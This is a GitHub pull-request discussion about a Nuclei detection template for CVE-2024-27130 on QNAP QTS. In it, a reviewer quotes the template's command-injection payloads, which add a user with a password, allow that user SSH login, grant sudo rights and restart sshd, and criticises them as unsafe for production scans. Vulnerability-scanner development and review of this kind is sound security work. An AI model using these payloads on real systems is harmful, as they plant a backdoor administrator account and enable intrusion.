Added CVE-2024-27130 Template

[colcs25]

Template / PR Information

Added CVE-2024-27130

References:
- https://github.com/watchtowrlabs/CVE-2024-27130
- https://labs.watchtowr.com/qnap-qts-qnapping-at-the-wheel-cve-2024-27130-and-friends/
- https://nvd.nist.gov/vuln/detail/CVE-2024-27130

Template Validation

I've validated this template locally?

• YES
• NO

Additional References:

• Nuclei Template Creation Guideline
• Nuclei Template Matcher Guideline
• Nuclei Template Contribution Guideline
• PD-Community Discord server

[GeorginaReeder]

Thanks so much for your contribution @colcs25 , we really appreciate it!

[yoerivegt]

These payloads seem deadly, no? I wouldn't want to fire this on a potential production environment.

        - "/../../../../usr/local/bin/useradd -p '$(openssl passwd -6 password)' watchtowr #"
        - "/bin/sed -i -e 's/AllowUsers /AllowUsers watchtowr /' /etc/config/ssh/sshd_config #"
        - "/../../../../bin/echo watchtowr ALL=\\(ALL\\) ALL >> /usr/etc/sudoers #"
        - "/../../../../usr/bin/killall -SIGHUP sshd #"

This is simply irresponsible.

[ritikchaddha]

Hello @colcs25, we really appreciate you sharing this template with us. However, we’re experiencing some challenges in validating it. Could you please provide the debug data? That would be incredibly helpful! Thank you!